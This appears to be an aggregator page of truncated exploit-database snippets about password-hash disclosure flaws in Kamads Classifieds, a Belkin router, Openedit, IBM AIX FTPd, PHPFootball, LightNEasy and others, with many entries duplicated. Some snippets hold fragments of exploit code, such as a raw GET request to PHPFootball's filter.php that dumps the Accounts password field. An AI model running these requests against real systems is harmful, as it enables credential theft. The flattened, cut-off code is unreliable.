Kamads Classifieds 2.0 - Admin Hash Disclosure

Kamads Classifieds 2.0 - Admin Hash Disclosure \n"; print "\nex...........: php $argv0 http://www.target.com/V2AXHTML/admin/admin.php\n"; die; else $ch = curlinit; curlsetopt$ch,CURLOPTURL,"$argv1"; $op1 = curlsetopt$ch,CURLOPTRETURNTRANSFER,true; curlsetopt$ch,CURLOPTUSERAGENT,"Mozilla/4.0...

CVE-2011-2084

The CVE-2011-2084 entry concerns Best Practical Solutions RT 3.x < 3.8.12 and RT 4.x

Belkin G Wireless Router 5.00.12 Password Hash Disclosure

+-----------------------------------------+ | Belkin G Wireless Router Admin Exploit. | +-----------------------------------------+ Firmware Version : 5.00.12 Sep 10 2009 19:54:12 Boot Version : 1.18 Hardware : F5D7234-4 v5 01 Author : Aodrulez. Email : [email protected] Twitter :...

Belkin F5D7234-4 v5 G Wireless Router - Remote Hash Exposed

+-----------------------------------------+ | Belkin G Wireless Router Admin Exploit. | +-----------------------------------------+ Firmware Version : 5.00.12 Sep 10 2009 19:54:12 Boot Version : 1.18 Hardware : F5D7234-4 v5 01 Author : Aodrulez. Email : [email protected] Twitter :...

Openedit <= v5.1294 Remote Code Execution Exploit

Exploit for jsp platform in category web applications !/usr/bin/python Openedit = v5.1294 Remote Code Execution Exploit http://net-ninja.net/blog/?p=553 watch http://www.zeitgeistmovie.com/ Explanation: Vuln 1: Admin hash disclosure Vuln 2: Login with the hash Vuln 3: Unprotected file upload...

Openedit 5.1294 Code Execution

!/usr/bin/python Openedit = v5.1294 Remote Code Execution Exploit http://net-ninja.net/blog/?p=553 watch http://www.zeitgeistmovie.com/ Explanation: Vuln 1: Admin hash disclosure Vuln 2: Login with the hash Vuln 3: Unprotected file upload mrme@pluto openedit$ sudo python ./openown.py -p...

Openedit 5.1294 - Remote Code Execution

!/usr/bin/python Openedit = v5.1294 Remote Code Execution Exploit http://net-ninja.net/blog/?p=553 watch http://www.zeitgeistmovie.com/ Explanation: Vuln 1: Admin hash disclosure Vuln 2: Login with the hash Vuln 3: Unprotected file upload mrme@pluto openedit$ sudo python ./openown.py -p...

dynpage 1.0 - Multiple Vulnerabilities

dynpage 1.0 - Multiple Vulnerabilities ''' | / |/ \ /\ | | | | \ | \ / | | | | / \ | | | | | | | |/| | | | |/ /\ | | | | | | | | || / \ || | | | || ||// \/|/ http://www.exploit-db.com/moaub-7-dynpage-multiple-remote-vulnerabilities/ ''' - Title : DynPage Multiple Remote Vulnerabilities. -...

AIX 5l FTPd Hash Disclosure

/ IBM AIX 5l FTPd Remote DES Hash Exploit -- Advanced 'Datacenter' Edition : Should work on IBM AIX 5.1,5.2,5.3! probably on 4.X too bug found & exploited by Kingcope Version 2.0 - July 2010 ---------------------------------------------------------------------------- Description: - The AIX 5l...

AIX5l FTP Server Remote Root Hash Disclosure

AIXCOREDUMP.PL --- --== AIX5l w/ FTP-SERVER REMOTE ROOT HASH DISCLOSURE EXPLOIT =-- CREATES COREDUMP INCLUDING THE ROOT USER HASH FROM /etc/security/passwd THE RESULT FILE IS SCRAMBLED - SEEK FOR DES LOOKING CRYPTO KEYS SUCCESSFULLY TESTED ON IBM AIX 5.1 DISCOVERED & EXPLOITED BY KINGCOPE JULY 20...

AIX5l with FTP-Server - Hash Disclosure

AIX5l with FTP-Server - Hash Disclosure AIXCOREDUMP.PL --- --== AIX5l w/ FTP-SERVER REMOTE ROOT HASH DISCLOSURE EXPLOIT =-- CREATES COREDUMP INCLUDING THE ROOT USER HASH FROM /etc/security/passwd THE RESULT FILE IS SCRAMBLED - SEEK FOR DES LOOKING CRYPTO KEYS SUCCESSFULLY TESTED ON IBM AIX 5.1...

AIX5l with FTP-Server - Hash Disclosure

AIXCOREDUMP.PL --- --== AIX5l w/ FTP-SERVER REMOTE ROOT HASH DISCLOSURE EXPLOIT =-- CREATES COREDUMP INCLUDING THE ROOT USER HASH FROM /etc/security/passwd THE RESULT FILE IS SCRAMBLED - SEEK FOR DES LOOKING CRYPTO KEYS SUCCESSFULLY TESTED ON IBM AIX 5.1 DISCOVERED & EXPLOITED BY KINGCOPE JULY 20...

pPIM 1.0 Multiple Remote Vulnerabilities

No description provided by source. - -= pPIM Multiple Vulnerabilities =- Version Tested: pPIM 1.0 Vendor notified Full details can also be found at http://www.lampsecurity.org/node/18 Author: Justin C. Klein Keane [email protected] Description pPIM...

pPIM 1.0 Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ======================================== pPIM 1.0 Multiple Remote Vulnerabilities ======================================== - -= pPIM Multiple Vulnerabilities =- Version Tested: pPIM 1.0 Vendor notified Author: Justin C. Klein Keane...

PHPFootball <= 1.6 (filter.php) Remote Hash Disclosure Exploit

Exploit for unknown platform in category web applications ============================================================== PHPFootball \n"; exit; else $head .= "GET /$path/filter.php?dbtable=Accounts&dbfield=Password HTTP/1.1\r\n"; $head .= "Host: $host\r\n"; $head .= "Connection: close\r\n\r\n";...

PHPFootball 1.6 - Remote Hash Disclosure

\n"; exit; else $head .= "GET /$path/filter.php?dbtable=Accounts&dbfield=Password HTTP/1.1\r\n"; $head .= "Host: $host\r\n"; $head .= "Connection: close\r\n\r\n"; $fsock = fsockopen $host,80; fputs $fsock,$head; while !feof$fsock $cont .= fgets$fsock; fclose$fsock; if pregmatchall"/.+?/",$cont,$i...

Retrospect Backup Server < 7.6 Authentication Module Password Hash Disclosure (ESA-08-009)

Binary data 4607.prm...

lightneasy-hash.txt

Author: GiReX mySite: girex.altervista.org Date: 10/04/08 CMS: LightNEasy 1.2 no database Site: lightneasy.org Bug: Hash Disclosure Exploit: Remote Hash Retrieve Bug Explanation: LightNEasy/lightneasy.php if$GET'do'!="login" && $GET'do'!="sitemap" && $SESSION$set'password' != "1" unset$GET'do';...

LightNEasy 1.2 - no database Remote Hash Retrieve

LightNEasy 1.2 - no database Remote Hash Retrieve Author: GiReX mySite: girex.altervista.org Date: 10/04/08 CMS: LightNEasy 1.2 no database Site: lightneasy.org Bug: Hash Disclosure Exploit: Remote Hash Retrieve Bug Explanation: LightNEasy/lightneasy.php if$GET'do'!="login" && $GET'do'!="sitemap"...

LightNEasy 1.2 - no database Remote Hash Retrieve

Author: GiReX mySite: girex.altervista.org Date: 10/04/08 CMS: LightNEasy 1.2 no database Site: lightneasy.org Bug: Hash Disclosure Exploit: Remote Hash Retrieve Bug Explanation: LightNEasy/lightneasy.php if$GET'do'!="login" && $GET'do'!="sitemap" && $SESSION$set'password' != "1" unset$GET'do';...